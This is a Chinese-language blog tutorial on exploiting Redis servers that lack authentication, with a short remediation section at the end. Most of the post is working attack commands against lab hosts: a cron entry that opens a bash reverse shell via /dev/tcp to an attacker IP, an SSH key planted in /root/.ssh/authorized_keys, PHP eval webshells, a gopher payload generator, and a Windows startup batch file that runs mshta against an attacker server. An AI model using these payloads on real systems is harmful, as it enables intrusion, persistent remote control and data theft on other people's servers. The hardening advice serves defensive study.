Yoga7xm's Blog

浅谈Redis未授权攻击方式

字数统计: 1.9k阅读时长: 8 min
2019/02/02 Share

0x01 Redis

Redis是一个开源使用ANSI C语言编写、支持网络、可基于内存亦可持续化的日志型、Key-Value数据库,并提供多种语言的API。

0x02 漏洞产生

详情

Redis因配置不当可以未授权访问。 但是,一些Redis服务绑定到公共接口,甚至没有密码身份验证保护。

攻击者无需认证访问到内部数据,可以导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可以通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

若Redis以root身份运行,攻击者可以给root账户写入ssh公钥文件,直接通过ssh登录受害服务器

0x03 Linux下漏洞利用

利用流程

  • 登录不受保护的Redis
  • 将其备份位置更改为.ssh目录 - 将ssh密钥写入新的备份位置
  • 使用ssh密钥远程连接并登录目标服务器

环境

公网Redis 服务器: 192.168.1.224

本地攻击机: 192.168.1.166

获取主机端口开放信息

nmap -A -p 6379 --script=redis-info 192.168.1.224

访问获取敏感信息

redis-cli -h 192.168.1.224

写入定时任务

这个方法只能在Centos上使用,Ubuntu上无效。

Ubuntu:/var/spool/cron/crontabs/<username>

Centos:/var/spool/cron/<username>

原因如下:

  1. Redis save的时候会有一些不可见字符以及乱码,对于Centos是不要紧的,但是对于Ubuntu来说是会报错的
  2. Redis写入的文件权限为644,Ubuntu下要求为600,否则执行会报错;而Centos下的可以执行

此外,两个系统共同存在的/etc/crontab需要root权限才能写,而高版本的redis以redis的身份运行的

写入反弹shell语句

1
2
3
4
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron/root
config set dbfilename root
save

然后只需监听一分钟即可。


写入ssh

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先,在攻击机本身生成一个key

ssh-keygen -t rsa

然后,进入/root/.ssh/文件夹,将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲区里:

1
2
3
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.1.224 -x set xxxx

然后,连接目标主机的Redis,设置Redis的备份路径为/root/.ssh和保存文件名authorized_keys

1
2
3
4
5
redis-cli -h 192.168.1.224

config set dir /root/.ssh
config set dbfilename authorized_keys
save

最后,用ssh远程连接(不需要密码即可):

authorized_keys文件里可以看到redis的版本号,我们写入的公钥和一些缓冲的乱码

写入webshell

通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。 远程连接Redis,写入webshell

1
2
3
4
5
redis-cli -h 192.168.152.128 
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dir /var/www/
config set dbfilename webshell.php
save

然后可以直接连菜刀。

对于获取流量来说,可以本地redis-server开启,然后redis-cli去连接,输入payload,期间利用tcpdump进行抓包并保存为cap格式文件tcpdump -i lo port 6379 -w redis.cap,然后利用wireshark打开,获取01源数据,再转化为gopher协议payload

1
2
3
4
5
6
7
8
def result(s):
a=[s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:6379/_%" + "%".join(a)

if __name__ == '__main__':
import sys
s=sys.argv[1]
print result(s)

利用redis执行命令

redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

本地建立一个lua脚本

1
2
3
vim hello.lua 
local msg = "hello,hack!"
return msg

在客户端连接redis服务器并执行hello.lua

1
redis-cli eval "$(cat hello.lua)" 0 -h 192.168.1.224

0x04 Windows下漏洞利用

环境搭建

下载并安装好Redis之后,进入安装目录下编辑redis.windows.conf配置文件,修改以下配置

1
2
3
protected-mode no

bind 0.0.0.0

然后重启Redis服务即可得到一个未授权的Redis服务

1
2
redis-server --service-stop
redis-server redis.windows.conf

攻击手法

  • 写入Webshell
  • 写入启动项
  • 写入Mof、dll劫持

写入Webshell

环境
  • Kali 172.20.10.8
  • Win7 172.20.10.10
流程

直接在Web目录下写入一句话即可

1
2
3
4
5
6
7
8
172.20.10.10:6379> config set dir "C://phpStudy//PHPTutorial//WWW"
OK
172.20.10.10:6379> config set dbfilename yoga.php
OK
172.20.10.10:6379> set x "<?php phpinfo(); ?>"
OK
172.20.10.10:6379> save
OK

写入启动项

环境
  • Kali 172.20.10.8
  • Server03 172.20.10.7
流程
  1. 下载PS_shell.rb放入/usr/share/metasploit-framework/modules/exploits/windows/目录下作为模块,然后在msf中reload all即可使用
  2. 使用该模块然后配置好URI,exploit拿到

mshta.exe "http://172.20.10.8:8080/test

  1. redis写入启动项
1
2
3
4
5
6
7
8
172.20.10.10:6379> config set dir "C://ProgramData//Microsoft//Windows//Start Menu//Programs//Startup"
OK
172.20.10.10:6379> config set dbfilename 1.bat
OK
172.20.10.10:6379> set x "\r\n\r\nmshta.exe http://172.20.10.8:8080/test\r\n\r\n"
OK
172.20.10.10:6379> save
OK

【注】在bat中每一行当做一条命令执行,所以要用到多个\r\n进行换行

  1. 重启win7,返回shell


写入Mof

环境
  • Kali 172.20.10.8
  • Server03 172.20.10.7
流程

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡,但是在03以后就没有这个文件了

写入C://WINDOWS//system32//wbem//mof/目录即可

1
2
3
4
5
cat mof.txt | redis-cli -h 172.20.10.7 -x set x

CONFIG SET dir C://WINDOWS//system32//wbem//mof/
CONFIG SET dbfilename yoga.mof
save

0x05 修复方案

禁止一些高危命令

修改 redis.conf 文件,禁用远程修改 DB 文件地址 ,重启redis才能生效

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

或者通过修改redis.conf文件,改变这些高危命令的名称

1
2
3
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆 ,重启redis才能生效

1
groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证

修改 redis.conf 文件,添加

1
requirepass mypassword

(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

1
bind 127.0.0.1

redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

1
chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

1
chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

1
chattr +i ~/.ssh

设置防火墙策略 

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

CATALOG
  1. 1. 0x01 Redis
  2. 2. 0x02 漏洞产生
    1. 2.1. 详情
  3. 3. 0x03 Linux下漏洞利用
    1. 3.1. 利用流程
      1. 3.1.1. 环境
      2. 3.1.2. 获取主机端口开放信息
      3. 3.1.3. 访问获取敏感信息
      4. 3.1.4. 写入定时任务
      5. 3.1.5. 写入ssh
      6. 3.1.6. 写入webshell
      7. 3.1.7. 利用redis执行命令
  4. 4. 0x04 Windows下漏洞利用
    1. 4.1. 环境搭建
    2. 4.2. 攻击手法
      1. 4.2.1. 写入Webshell
        1. 4.2.1.1. 环境
        2. 4.2.1.2. 流程
      2. 4.2.2. 写入启动项
        1. 4.2.2.1. 环境
        2. 4.2.2.2. 流程
      3. 4.2.3. 写入Mof
        1. 4.2.3.1. 环境
        2. 4.2.3.2. 流程
  5. 5. 0x05 修复方案
    1. 5.1. 禁止一些高危命令
    2. 5.2. 以低权限运行 Redis 服务
    3. 5.3. 为 Redis 添加密码验证
    4. 5.4. 禁止外网访问 Redis
    5. 5.5. 保证 authorized_keys 文件的安全
    6. 5.6. 设置防火墙策略